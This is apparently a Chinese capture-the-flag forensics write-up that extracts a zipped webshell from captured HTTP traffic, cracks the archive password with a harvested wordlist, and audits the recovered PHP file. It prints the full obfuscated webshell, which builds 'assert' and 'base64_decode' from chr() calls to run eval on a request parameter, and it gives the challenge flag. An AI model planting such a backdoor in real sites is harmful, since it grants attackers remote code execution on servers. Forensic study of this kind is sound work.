分析流量包
筛选http协议流量包
使用查询webshell等关键字 找到webshell.php进行取证
可以看出文件以PK开头是一个压缩包文件的头部信息
压缩包中存在webshell.php文件
使用010editor新建Hex文件
复制到010editor中
另存为1.zip
需要解压密码
写个脚本获取upload文件中每个webshell的登陆密码
import os,sys
import re
if __name__ == '__main__':
a = []
for i in os.listdir('./upload'):
with open('./upload/'+i,'r') as f:
passwd = re.findall('\[(.*?)\]',f.readline())[0]
a.append(passwd)
with open('passwd.txt','a+') as f:
for i in a:
f.write(i+'\n')
获取之后使用archpr进行字典爆破
我们回到010editor文件取证的哪里,删除前后五个字节和后面五个字节。
另存为2.zip
进行字典爆破
解压密码7b8b965ad4bca
进行php代码审计
<?php
error_reporting(0);
@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
#$o0o00o00o00o0o0 = assert
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
#$ooo00o0o0o0o0o0 = base64_decode
@$count = 0;
for($x=0;$x<=9;$x++){#0,1,2
if (in_array($x, @$c)){
@$str=@$str.@$c[@$count];#拼接三次
if ($count == 2)#循环三次
{
@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
#assert(base64_decode(ZXZhbCgkX1JFUVVFU1RbJzlhNzJjM2Q1ZTc0ZjYwNTFiYjNiMzU5MGZhOTMxOWZlJ10pOw))
#assert(base64_decode(eval($_REQUEST['9a72c3d5e74f6051bb3b3590fa9319fe']);))
}
@$count++;
}
}
?>
flag{9a72c3d5e74f6051bb3b3590fa9319fe}